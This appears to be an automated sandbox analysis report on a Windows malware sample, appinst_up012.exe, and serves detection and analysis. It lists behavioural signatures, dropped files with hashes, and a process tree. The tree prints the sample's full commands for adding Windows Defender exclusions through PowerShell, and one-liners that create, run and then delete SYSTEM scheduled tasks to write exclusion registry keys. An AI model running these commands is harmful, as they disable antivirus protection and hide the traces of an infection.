Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 10:04

General

  • Target
    appinst_up012.exe
  • Size 37.3MB
  • Sample260815-l322jsfb27
  • SHA256 14ef730c7f496bc7ab4e5d3b95d1dc61258e66b88658989855281674a1aa58f9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up012.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up012.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4960
  • C:\Users\Public\KohMak\WZGUaa.exe
    "C:\Users\Public\KohMak\WZGUaa.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5644
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KohMak\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:6124
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KohMak\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2876
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3460
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:6024
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5784
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3700
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4360
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1100
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1212
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2296
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4372
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3860
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5812
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:760
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5440
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5028
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2756
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:572
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4776
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1428
                      • C:\Users\Public\KohMak\WZGUaa.exe
                        "C:\Users\Public\KohMak\WZGUaa.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4748
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5040
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4628
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2836
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:908
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4308

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\KohMak\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 3bb91371493ca12601ed8bd0a65c031e3e21a45ffbb82f304ef26cb78a19a8cc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              WZGUaa.exe

                              • Path C:\Users\Public\KohMak\WZGUaa.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\KohMak\adoresd.dat
                              • Size 4.7MB
                              • SHA256 ef94a98b09a54386c4f713f129de98ad43f17ad6d81dfae25b2f407de0a6dc8a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\KohMak\msadox.tb
                              • Size 8KB
                              • SHA256 e5afbf6524469d1c0f53397f6a2c050482fe9c961a40c3457b2e0f8527c4068e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/4748-578-0x00007FFD18680000-0x00007FFD18682000-memory.dmp

                              memory/4748-587-0x00007FFD18670000-0x00007FFD18672000-memory.dmp

                              memory/4748-579-0x000001BD5F870000-0x000001BD600F7000-memory.dmp

                              memory/4748-584-0x000001BD5F870000-0x000001BD600F7000-memory.dmp

                              memory/4748-583-0x000001BD5F870000-0x000001BD600F7000-memory.dmp

                              memory/4748-573-0x00007FFCFC320000-0x00007FFCFC83E000-memory.dmp

                              memory/4748-585-0x000001BD5F870000-0x000001BD600F7000-memory.dmp

                              memory/4748-586-0x000001BD5F870000-0x000001BD600F7000-memory.dmp

                              memory/4748-576-0x000001BD5F870000-0x000001BD600F7000-memory.dmp

                              memory/4960-525-0x00007FFD0FE10000-0x00007FFD0FE22000-memory.dmp

                              memory/4960-0-0x00000000005A0000-0x00000000005AE000-memory.dmp

                              memory/4960-1-0x00000000005A0000-0x00000000005AE000-memory.dmp

                              memory/4960-2-0x00000000005B0000-0x00000000005BC000-memory.dmp

                              memory/4960-504-0x00007FFD0FE10000-0x00007FFD0FE22000-memory.dmp

                              memory/4960-524-0x00000000005A0000-0x00000000005AE000-memory.dmp

                              memory/5644-607-0x00000171408C0000-0x0000017140972000-memory.dmp

                              memory/5644-603-0x0000017140640000-0x0000017140662000-memory.dmp

                              memory/5644-606-0x00000171408A0000-0x00000171408BE000-memory.dmp

                              memory/5644-608-0x0000017140680000-0x000001714068A000-memory.dmp

                              memory/5932-543-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-531-0x00007FFCFC320000-0x00007FFCFC83E000-memory.dmp

                              memory/5932-564-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-566-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-567-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-561-0x0000022D78D20000-0x0000022D78DAA000-memory.dmp

                              memory/5932-559-0x0000022D78D20000-0x0000022D78DAA000-memory.dmp

                              memory/5932-557-0x0000022D78C40000-0x0000022D78C8E000-memory.dmp

                              memory/5932-550-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-546-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-545-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-538-0x00007FFD18680000-0x00007FFD18682000-memory.dmp

                              memory/5932-544-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-558-0x0000022D78D20000-0x0000022D78DAA000-memory.dmp

                              memory/5932-539-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-536-0x0000022D783B0000-0x0000022D78C37000-memory.dmp

                              memory/5932-560-0x0000022D78D20000-0x0000022D78DAA000-memory.dmp

                              memory/5932-530-0x00007FFD18670000-0x00007FFD18672000-memory.dmp